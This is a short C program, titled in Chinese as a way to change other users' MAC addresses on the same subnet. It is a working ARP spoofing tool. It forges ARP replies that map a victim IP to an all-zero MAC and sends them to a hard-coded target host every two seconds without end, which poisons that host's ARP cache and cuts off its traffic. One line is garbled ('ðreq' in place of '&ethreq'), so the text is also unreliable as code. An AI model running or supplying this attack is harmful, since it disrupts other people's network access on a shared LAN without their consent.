##改变同一网段别人的mac地址
#include <stdio.h>
#include <sys/socket.h>//socket
#include <arpa/inet.h>//htons
#include <netinet/ether.h>//ETH_P_ALL
#include <unistd.h>//close
#include <sys/ioctl.h>
#include <string.h>
#include <netpacket/packet.h>//sockaddr_ll
#include <net/if.h>//struct ifreq
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
int main(int argc, char const *argv[]){
//创建一个原始套接字
int fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
//组包(arp)
unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};
unsigned char src_mac[6]={0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char src_ip[4] = {10,0,121,217};
unsigned char dst_ip[4] = {10,0,121,196};
unsigned char msg[1500]="";
//组mac头
struct ether_header *eth_hd = (struct ether_header *)msg;
//赋值目的mac
memcpy(eth_hd->ether_dhost,dst_mac,6);
//源mac
//memset(eth_hd->ether_shost,0,6);
memcpy(eth_hd->ether_shost,src_mac,6);
//协议类型
eth_hd->ether_type = htons(0x0806);
//组arp头
struct arphdr *arp_hd = (struct arphdr *)(msg+14);
arp_hd->ar_hrd = htons(1);//硬件类型
arp_hd->ar_pro = htons(0x0800);//协议类型
arp_hd->ar_hln = 6;//硬件地址长度
arp_hd->ar_pln = 4;//协议地址长度
arp_hd->ar_op = htons(2);//应答
memcpy(arp_hd->__ar_sha,src_mac,6);//源mac
memcpy(arp_hd->__ar_sip,src_ip,4);//源ip
memcpy(arp_hd->__ar_tha,dst_mac,6);//目的mac
memcpy(arp_hd->__ar_tip,dst_ip,4);//目的ip
int len = 42;
//从原始套接字发送数据
//获取网络结构类型
struct ifreq ethreq;
strncpy(ethreq.ifr_name,"ens33",IFNAMSIZ);
ioctl(fd, SIOCGIFINDEX, ðreq);
//指明出去的网络接口
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
while(1)
{
sendto(fd,msg,len,0,(struct sockaddr *)&sll, sizeof(sll));
sleep(2);
}
close(fd);
return 0;}